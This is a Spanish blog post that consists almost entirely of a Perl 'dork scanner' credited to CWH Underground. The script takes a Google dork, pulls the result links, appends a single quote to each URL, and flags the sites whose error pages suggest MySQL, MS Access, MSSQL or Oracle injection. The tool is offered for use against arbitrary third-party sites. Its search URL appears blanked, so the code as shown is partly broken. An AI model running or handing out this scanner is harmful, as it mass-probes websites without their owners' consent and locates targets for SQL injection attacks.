Dork Scanner en Perl


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/perl
   use LWP::Simple;
   use LWP::UserAgent;
   use HTTP::Request;
   my $sis="$^O";if ($sis eq 'MSWin32') { system("cls"); } else { system("clear"); }
   print "+++++++++++++++++++++++++++++++\n";
   print "+     SQL - Google Search     +\n";
   print "+       CWH Underground       +\n";
   print "+++++++++++++++++++++++++++++++\n\n";
   print "Insert Dork:";
   chomp( my $dork = <STDIN> );
   print "Total Query Pages (10 Links/Pages) :";
   chomp( my $page = <STDIN> );
   print "\n
■Result:\n\n";
   for($start = 0;$start != $page*10;$start += 10)
   {   
   $t = "   ".$dork."&btnG=Search&start=".$start;
       $ua = LWP::UserAgent->new(agent => 'Mozilla 5.2');
       $ua->timeout(10);
       $ua->env_proxy;
       $response = $ua->get($t);
       if ($response->is_success)
       {
           $c = $response->content;
           @stuff = split(/<a href=/,$c);
           foreach $line(@stuff)
           {
               if($line =~/(.*) class=l/ig)
               {
                   $out = $1;
                   $out =~ s/\"//g;
         $out =~s/$/\'/;   
         $ua = LWP::UserAgent->new(agent => 'Mozilla 5.2');
         $ua->timeout(10);
         $ua->env_proxy;
         $response = $ua->get($out);
         $error = $response->content();
         if($error =~m/mysql_/ || $error =~m/Division by zero in/ || $error =~m/Warning:/)
            {print "$out => Could be Vulnerable in MySQL Injection!!\n";}
         elsif($error =~m/Microsoft JET Database/ || $error =~m/ODBC Microsoft Access Driver/)
            {print "$out => Could be Vulnerable in MS Access Injection!!\n";}
         elsif($error =~m/Microsoft OLE DB Provider for SQL Server/ || $error =~m/Unclosed quotation mark/)
            {print "$out => Could be Vulnerable in MSSQL Injection!!\n";}
         elsif($error =~m/Microsoft OLE DB Provider for Oracle/)
            {print "$out => Could be Vulnerable in Oracle Injection!!\n";}
          }
      }
       }
        }

0 comentarios: sobre Dork Scanner en Perl

Publicar un comentario para Dork Scanner en Perl

:a   :b   :c   :d   :e   :f   :g   :h   :i   :j   :k   :l   :m   :n   :o   :p   :q   :r   :s   :t

Calculando Tiempo
Alienspace Theme © Copyright 2017 By Proxor
Mi Ping en TotalPing.com FeedBurner FeedBurner FeedBurner FeedBurner FeedBurner